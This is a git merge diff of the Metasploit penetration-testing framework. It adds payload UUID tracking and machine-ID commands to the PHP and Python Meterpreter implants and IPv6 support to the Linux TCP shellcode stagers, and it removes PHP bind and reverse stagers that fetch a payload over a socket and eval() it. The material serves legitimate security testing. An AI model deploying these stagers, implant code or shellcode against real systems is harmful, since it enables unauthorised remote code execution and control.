Merge branch 'upstream-master' into bapv2
commit
be709ba370
|
@ -69,7 +69,10 @@ external/source/exploits/**/Release
|
|||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
16
Gemfile.lock
16
Gemfile.lock
|
@ -9,13 +9,13 @@ PATH
|
|||
json
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-payloads (= 0.0.7)
|
||||
metasploit-payloads (= 1.0.2)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline-r7
|
||||
recog (~> 1.0)
|
||||
recog (~> 2.0)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
|
@ -24,7 +24,7 @@ PATH
|
|||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (~> 1.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 1.0)
|
||||
metasploit_data_models (~> 1.2)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -123,8 +123,8 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (0.0.7)
|
||||
metasploit_data_models (1.1.0)
|
||||
metasploit-payloads (1.0.2)
|
||||
metasploit_data_models (1.2.1)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
|
@ -133,12 +133,12 @@ GEM
|
|||
pg
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 1.0)
|
||||
recog (~> 2.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.5.11)
|
||||
msgpack (0.6.0)
|
||||
multi_json (1.11.0)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
|
@ -174,7 +174,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (1.0.29)
|
||||
recog (2.0.4)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,4 +1,4 @@
|
|||
#<?php
|
||||
//<?php
|
||||
|
||||
# Everything that needs to be global has to be made so explicitly so we can run
|
||||
# inside a call to create_user_func($user_input);
|
||||
|
@ -32,7 +32,7 @@ if (!isset($GLOBALS['readers'])) {
|
|||
|
||||
# global list of extension commands
|
||||
if (!isset($GLOBALS['commands'])) {
|
||||
$GLOBALS['commands'] = array("core_loadlib");
|
||||
$GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_uuid");
|
||||
}
|
||||
|
||||
function register_command($c) {
|
||||
|
@ -99,6 +99,10 @@ function socket_set_option($sock, $type, $opt, $value) {
|
|||
}
|
||||
}
|
||||
|
||||
#
|
||||
# Payload definitions
|
||||
#
|
||||
define("PAYLOAD_UUID", "");
|
||||
|
||||
#
|
||||
# Constants
|
||||
|
@ -109,7 +113,6 @@ define("PACKET_TYPE_PLAIN_REQUEST", 10);
|
|||
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
|
||||
|
||||
define("ERROR_SUCCESS", 0);
|
||||
# not defined in original C implementation
|
||||
define("ERROR_FAILURE", 1);
|
||||
|
||||
define("CHANNEL_CLASS_BUFFERED", 0);
|
||||
|
@ -175,6 +178,9 @@ define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
|
|||
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
|
||||
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
|
||||
|
||||
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
|
||||
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
|
||||
|
||||
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
|
||||
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
|
||||
|
||||
|
@ -419,8 +425,41 @@ function core_loadlib($req, &$pkt) {
|
|||
}
|
||||
|
||||
|
||||
function core_uuid($req, &$pkt) {
|
||||
my_print("doing core_uuid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
function get_hdd_label() {
|
||||
foreach (scandir('/dev/disk/by-id/') as $file) {
|
||||
foreach (array("ata-", "mb-") as $prefix) {
|
||||
if (strpos($file, $prefix) === 0) {
|
||||
return substr($file, strlen($prefix));
|
||||
}
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
function core_machine_id($req, &$pkt) {
|
||||
my_print("doing core_machine_id");
|
||||
$machine_id = gethostname();
|
||||
$serial = "";
|
||||
|
||||
if (is_windows()) {
|
||||
# It's dirty, but there's not really a nicer way of doing this on windows. Make sure
|
||||
# it's lowercase as this is what the other meterpreters use.
|
||||
$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
|
||||
$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output);
|
||||
} else {
|
||||
$serial = get_hdd_label();
|
||||
}
|
||||
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
##
|
||||
|
|
|
@ -67,6 +67,7 @@ HTTP_CONNECTION_URL = None
|
|||
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||
HTTP_PROXY = None
|
||||
HTTP_USER_AGENT = None
|
||||
PAYLOAD_UUID = ""
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
|
@ -144,6 +145,7 @@ TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
|||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
@ -570,7 +572,19 @@ class PythonMeterpreter(object):
|
|||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_uuid(self, request, response):
|
||||
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_machine_id(self, request, response):
|
||||
def get_hdd_label():
|
||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||
for f in files:
|
||||
for p in ['ata-', 'mb-']:
|
||||
if f[:len(p)] == p:
|
||||
return f[len(p):]
|
||||
return ""
|
||||
|
||||
serial = ''
|
||||
machine_name = platform.uname()[1]
|
||||
if has_windll:
|
||||
|
@ -592,11 +606,8 @@ class PythonMeterpreter(object):
|
|||
serial_num = serial_num.value
|
||||
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
|
||||
else:
|
||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||
for f in files:
|
||||
if f[:4] == 'ata-':
|
||||
serial = f[4:]
|
||||
break
|
||||
serial = get_hdd_label()
|
||||
|
||||
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
|
|
@ -1,56 +0,0 @@
|
|||
#<?php
|
||||
|
||||
# The payload handler overwrites this with the correct LPORT before sending
|
||||
# it to the victim.
|
||||
$port = 4444;
|
||||
$ipaddr = "0.0.0.0";
|
||||
|
||||
if (is_callable('stream_socket_server')) {
|
||||
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
fclose($srvsock);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -1,53 +0,0 @@
|
|||
#<?php
|
||||
|
||||
# The payload handler overwrites this with the correct LPORT before sending
|
||||
# it to the victim.
|
||||
$port = 4444;
|
||||
$ipaddr = "::";
|
||||
|
||||
if (is_callable('stream_socket_server')) {
|
||||
$srvsock = stream_socket_server("tcp://[{$ipaddr}]:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -1,56 +0,0 @@
|
|||
#<?php
|
||||
|
||||
error_reporting(0);
|
||||
# The payload handler overwrites this with the correct LHOST before sending
|
||||
# it to the victim.
|
||||
$ip = '127.0.0.1';
|
||||
$port = 4444;
|
||||
$ipf = AF_INET;
|
||||
|
||||
if (FALSE !== strpos($ip, ":")) {
|
||||
# ipv6 requires brackets around the address
|
||||
$ip = "[". $ip ."]";
|
||||
$ipf = AF_INET6;
|
||||
}
|
||||
|
||||
if (($f = 'stream_socket_client') && is_callable($f)) {
|
||||
$s = $f("tcp://{$ip}:{$port}");
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
||||
$s = $f($ip, $port);
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'socket_create') && is_callable($f)) {
|
||||
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
|
||||
$res = @socket_connect($s, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die('no socket funcs');
|
||||
}
|
||||
if (!$s) { die('no socket'); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -4,8 +4,7 @@ module Metasploit
|
|||
module Framework
|
||||
module RailsVersionConstraint
|
||||
|
||||
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
|
||||
# Rails 3.X that are removed in Rails 4.
|
||||
# The Metasploit ecosystem is not yet ready for Rails 4.1:
|
||||
RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ]
|
||||
end
|
||||
end
|
||||
|
|
|
@ -589,8 +589,11 @@ class ReadableText
|
|||
sess_via = session.via_exploit.to_s
|
||||
sess_type = session.type.to_s
|
||||
sess_uuid = session.payload_uuid.to_s
|
||||
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
||||
|
||||
sess_checkin = "<none>"
|
||||
sess_machine_id = session.machine_id.to_s
|
||||
sess_registration = "No"
|
||||
|
||||
if session.respond_to? :platform
|
||||
sess_type << (" " + session.platform)
|
||||
|
@ -600,6 +603,13 @@ class ReadableText
|
|||
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
||||
end
|
||||
|
||||
if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
|
||||
sess_registration = "Yes"
|
||||
if uuid_info['name']
|
||||
sess_registration << " - Name=\"#{uuid_info['name']}\""
|
||||
end
|
||||
end
|
||||
|
||||
out << " Session ID: #{sess_id}\n"
|
||||
out << " Type: #{sess_type}\n"
|
||||
out << " Info: #{sess_info}\n"
|
||||
|
@ -608,6 +618,10 @@ class ReadableText
|
|||
out << " UUID: #{sess_uuid}\n"
|
||||
out << " MachineID: #{sess_machine_id}\n"
|
||||
out << " CheckIn: #{sess_checkin}\n"
|
||||
out << " Registered: #{sess_registration}\n"
|
||||
|
||||
|
||||
|
||||
out << "\n"
|
||||
end
|
||||
|
||||
|
|
|
@ -19,13 +19,6 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
|||
self.platform = 'java/android'
|
||||
end
|
||||
|
||||
def load_android
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load android')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -64,12 +64,6 @@ module MeterpreterOptions
|
|||
end
|
||||
end
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
|
|
|
@ -87,8 +87,7 @@ module Exploit::Android
|
|||
|
||||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so']
|
||||
data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb')
|
||||
data = MetasploitPayloads.read('android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
|
||||
data.gsub!('PLOAD', stagename)
|
||||
end
|
||||
|
||||
|
|
|
@ -73,7 +73,7 @@ class Framework
|
|||
require 'msf/core/plugin_manager'
|
||||
require 'msf/core/db_manager'
|
||||
require 'msf/core/event_dispatcher'
|
||||
|
||||
require 'rex/json_hash_file'
|
||||
|
||||
#
|
||||
# Creates an instance of the framework context.
|
||||
|
@ -91,6 +91,7 @@ class Framework
|
|||
self.datastore = DataStore.new
|
||||
self.jobs = Rex::JobContainer.new
|
||||
self.plugins = PluginManager.new(self)
|
||||
self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json"))
|
||||
|
||||
# Configure the thread factory
|
||||
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
|
||||
|
@ -187,6 +188,12 @@ class Framework
|
|||
# unloading of plugins.
|
||||
#
|
||||
attr_reader :plugins
|
||||
#
|
||||
# The framework instance's payload uuid database. The payload uuid
|
||||
# database is used to record and match the unique ID values embedded
|
||||
# into generated payloads.
|
||||
#
|
||||
attr_reader :uuid_db
|
||||
|
||||
# The framework instance's db manager. The db manager
|
||||
# maintains the database db and handles db events
|
||||
|
@ -243,6 +250,7 @@ protected
|
|||
attr_writer :jobs # :nodoc:
|
||||
attr_writer :plugins # :nodoc:
|
||||
attr_writer :db # :nodoc:
|
||||
attr_writer :uuid_db # :nodoc:
|
||||
end
|
||||
|
||||
class FrameworkEventSubscriber
|
||||
|
|
|
@ -56,7 +56,8 @@ module ReverseHttp
|
|||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
|
||||
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
|
||||
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ]),
|
||||
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
|
@ -153,6 +154,10 @@ module ReverseHttp
|
|||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
lookup_proxy_settings
|
||||
|
||||
if datastore['IgnoreUnknownPayloads']
|
||||
print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -228,6 +233,21 @@ protected
|
|||
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
end
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID")
|
||||
info[:mode] = :unknown_uuid
|
||||
end
|
||||
|
||||
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
|
||||
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
|
||||
unless allowed_urls.include?(req.relative_resource)
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID URL #{req.relative_resource}")
|
||||
info[:mode] = :unknown_uuid_url
|
||||
end
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
|
||||
# Process the requested resource.
|
||||
|
@ -254,7 +274,10 @@ protected
|
|||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
blob << obj.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
|
@ -291,7 +314,10 @@ protected
|
|||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
blob << obj.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||
# in Metasploit :-)
|
||||
|
@ -368,7 +394,9 @@ protected
|
|||
})
|
||||
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...")
|
||||
end
|
||||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
|
|
|
@ -318,6 +318,16 @@ class Payload < Msf::Module
|
|||
apply_prepends(generate)
|
||||
end
|
||||
|
||||
#
|
||||
# Convert raw bytes to metasm-ready 'db' encoding format
|
||||
# eg. "\x90\xCC" => "db 0x90,0xCC"
|
||||
#
|
||||
# @param raw [Array] Byte array to encode.
|
||||
#
|
||||
def raw_to_db(raw)
|
||||
raw.unpack("C*").map {|c| "0x%.2x" % c}.join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Substitutes variables with values from the module's datastore in the
|
||||
# supplied raw buffer for a given set of named offsets. For instance,
|
||||
|
|
|
@ -17,7 +17,7 @@ module Msf::Payload::Dalvik
|
|||
#
|
||||
# We could compile the .class files with dx here
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -31,6 +31,11 @@ module Msf::Payload::Dalvik
|
|||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def apply_options(classes)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
|
||||
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
|
|
@ -123,8 +123,8 @@ module Payload::Generic
|
|||
redirect_to_actual(:stage_over_connection?)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
redirect_to_actual(:generate_stage)
|
||||
def generate_stage(opts={})
|
||||
redirect_to_actual(:generate_stage, opts)
|
||||
end
|
||||
|
||||
def handle_connection_stage(*args)
|
||||
|
|
|
@ -14,7 +14,7 @@ module Msf::Payload::Java
|
|||
# [ 32-bit big endian length ][ Nth raw .class file]
|
||||
# [ 32-bit null ]
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
stage = ''
|
||||
@stage_class_files.each do |path|
|
||||
data = MetasploitPayloads.read('java', path)
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux/send_uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -17,6 +18,7 @@ module Payload::Linux::BindTcp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::SendUUID
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
|
@ -36,6 +38,18 @@ module Payload::Linux::BindTcp
|
|||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -72,7 +86,13 @@ module Payload::Linux::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
af_inet = 2
|
||||
|
||||
if use_ipv6
|
||||
af_inet = 0xa
|
||||
end
|
||||
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
|
@ -89,7 +109,7 @@ module Payload::Linux::BindTcp
|
|||
push ebx ; PROTO
|
||||
inc ebx ; SYS_SOCKET and SOCK_STREAM
|
||||
push ebx
|
||||
push 0x2 ; SYS_BIND and AF_INET
|
||||
push #{af_inet} ; SYS_BIND and AF_INET(6)
|
||||
mov ecx,esp
|
||||
mov al,0x66 ; socketcall syscall
|
||||
int 0x80 ; invoke socketcall (SYS_SOCKET)
|
||||
|
@ -114,15 +134,38 @@ module Payload::Linux::BindTcp
|
|||
|
||||
pop ebx
|
||||
pop esi
|
||||
^
|
||||
|
||||
if use_ipv6
|
||||
asm << %Q^
|
||||
push 2
|
||||
pop ebx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push #{encoded_port}
|
||||
mov ecx,esp
|
||||
push 0x1c
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push edx
|
||||
push #{encoded_port}
|
||||
push 0x10
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push ecx
|
||||
push eax
|
||||
mov ecx,esp
|
||||
push 0x66 ; socketcall syscall
|
||||
pop eax
|
||||
int 0x80 ; invoke socketcall (SYS_BIND)
|
||||
|
||||
shl ebx,1 ; SYS_LISTEN
|
||||
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
|
||||
int 0x80 ; invoke socketcall
|
||||
|
@ -133,6 +176,16 @@ module Payload::Linux::BindTcp
|
|||
mov [ecx+0x4],edx
|
||||
int 0x80 ; invoke socketcall (SYS_ACCEPT)
|
||||
xchg eax,ebx
|
||||
^
|
||||
|
||||
if include_send_uuid
|
||||
asm << %Q^
|
||||
mov edi, ebx
|
||||
#{asm_send_uuid}
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
mov dh,0xc ; at least 0x0c00 bytes
|
||||
mov al,0x3 ; read syscall
|
||||
int 0x80 ; invoke read
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux'
|
||||
require 'msf/core/payload/linux/send_uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -18,6 +19,7 @@ module Payload::Linux::ReverseTcp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::SendUUID
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
|
@ -39,6 +41,14 @@ module Payload::Linux::ReverseTcp
|
|||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
@ -89,9 +99,10 @@ module Payload::Linux::ReverseTcp
|
|||
push 0x2
|
||||
mov al, 0x66
|
||||
mov ecx, esp
|
||||
int 0x80 ; sys_socketcall
|
||||
xchg eax, edi
|
||||
pop ebx
|
||||
int 0x80 ; sys_socketcall (socket())
|
||||
|
||||
xchg eax, edi ; store the socket in edi
|
||||
pop ebx ; set ebx back to zero
|
||||
push #{encoded_host}
|
||||
push #{encoded_port}
|
||||
mov ecx, esp
|
||||
|
@ -102,7 +113,12 @@ module Payload::Linux::ReverseTcp
|
|||
push edi
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
int 0x80 ; sys_socketcall
|
||||
int 0x80 ; sys_socketcall (connect())
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
